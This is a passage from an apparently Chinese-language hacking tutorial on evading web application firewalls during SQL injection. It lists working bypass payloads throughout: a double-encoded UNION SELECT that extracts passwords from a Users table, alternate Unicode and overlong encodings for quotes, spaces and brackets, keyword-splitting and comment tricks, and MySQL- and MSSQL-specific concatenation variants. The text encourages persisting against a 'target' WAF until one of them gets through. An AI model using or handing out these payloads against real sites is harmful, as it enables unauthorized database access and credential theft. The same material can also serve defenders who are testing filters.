6>Character编码:
  有些情况下,WAF对应用程序中的输入进行解码,但是有些WAF是只过滤解码一次的,所以只要我们对bypass语句进行双重编码能将其绕过之。(WAF解码一次然后过滤,之后的SQL语句会被自动解码直接执行了~)
  双重编码bypass语句示例:
  id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
  一些双重编码举例:
  单引号:'

 

%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9

  7>综合:
  绕过几个简单的WAF之后,后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。
  7a>拆散SQL语句:
  通常的做法是:需要把SQL注入语句给拆散,来检查是哪个关键字被过滤了。比如,如果你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。
  7b>冗长的报错:
  当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。
  比如你输入的语法是:
  id=1+Select+1,2,3--
  会给你报出以下错误:
  Error at line 1 near " "+1,2,3--
  上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过:
  sel%0bect+1,2,3
  这只是众多方法之一,绕过不同WAF需要不同的bypass思路。
  8>高级bypass技巧:
  正如前面所说的,当你尝试着绕过几个WAF之后,你会觉得其实他并不难,会感觉到很有趣,很有挑战性 :b  ,当你在注入的时候发现自己被WAF之后,不要想要放弃,尝试挑战一下,看看它过滤了什么,什么语法允许,什么语法不允许。当然,你也可以尝试暴力一些,把它当成inflatable doll, [;:{}()*&$/|<>?"'] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的,骚年,你说对不对?
  但是,如果你试了N个语句,都tm被过滤了,整个人都快崩溃了,该怎么办?很简单,打开音乐播放器,放一首小苹果放松一下。然后把WAF过滤的东东全部copy下来,仔细分析!俗话怎么说来着,世上无难事,只怕有心人。
  举例来说,比如你分析到后,发现所有的*都被换成空白了,意味着你不能使用内联注释了,union+select也会给你返回一个403错误,在这种情况下,你应该充分利用*被替换成空白:
  id=1+uni*on+sel*ect+1,2,3--+
  这样的话,*被过滤掉了,但是union+select被保留下来了。这是常见的WAF bypass技巧,当然不仅仅是union+select,其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字,你能找到绕过的方法。
  一些常见的bypass:
  id=1+(UnIoN)+(SelECT)+
  id=1+(UnIoN+SeLeCT)+
  id=1+(UnI)(oN)+(SeL)(EcT)
  id=1+'UnI''On'+'SeL''ECT' <-MySQL only
  id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
  注意:在mysql4.0种,UNI /**/ON+SEL/**/ ECT是没办法用的。
  结语:WAF的姿势取决于你思维的扩散,自我感觉在WAF bypass的过程中能找到很多乐趣,不是吗?更多姿势欢迎pm我。